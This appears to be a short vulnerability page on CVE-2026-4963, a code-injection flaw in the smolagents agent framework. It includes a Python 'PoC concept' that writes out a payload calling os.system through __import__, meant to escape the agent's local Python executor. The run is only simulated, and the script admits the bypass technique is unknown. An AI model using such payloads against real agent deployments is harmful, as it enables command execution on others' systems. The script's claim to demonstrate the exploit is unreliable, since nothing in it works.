CVE-2026-4963 Hugging Face smolagents代码注入漏洞

# PoC Concept for CVE-2026-4963 # This demonstrates how a payload might be crafted to exploit the incomplete fix # in evaluate_call/evaluate_augassign functions within smolagents. import smolagents def exploit_poc(): # Malicious payload designed to bypass the specific filter logic # Example: Injecting a system command using Python's os module # The specific bypass technique depends on the exact logic flaw in the affected functions. # Hypothetical payload exploiting evaluate_call payload = "__import__('os').system('id')" # In a real scenario, this payload would be passed to the agent # which then passes it to the local_python_executor. print(f"[+] Sending payload: {payload}") # Simulation of the vulnerable execution flow try: # agent = smolagents.CodeAgent(...) # Setup agent # agent.run(payload) # Trigger vulnerability print("[!] Exploit trigger simulated (actual execution requires vulnerable environment)") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit_poc()